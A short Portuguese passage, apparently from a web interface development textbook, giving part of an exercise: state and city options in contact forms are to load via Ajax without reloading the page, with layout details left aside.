selecionáveis, e as opções de estados e cidades dos formulários de contato deverão utilizar Ajax no carregamento, evitando assim que a tela seja recarregada. Não se apegue a detalhes de layout, aplique apenas as funcionalidades solicitadas. 99 Desenvolvimento de Interfaces na Web 100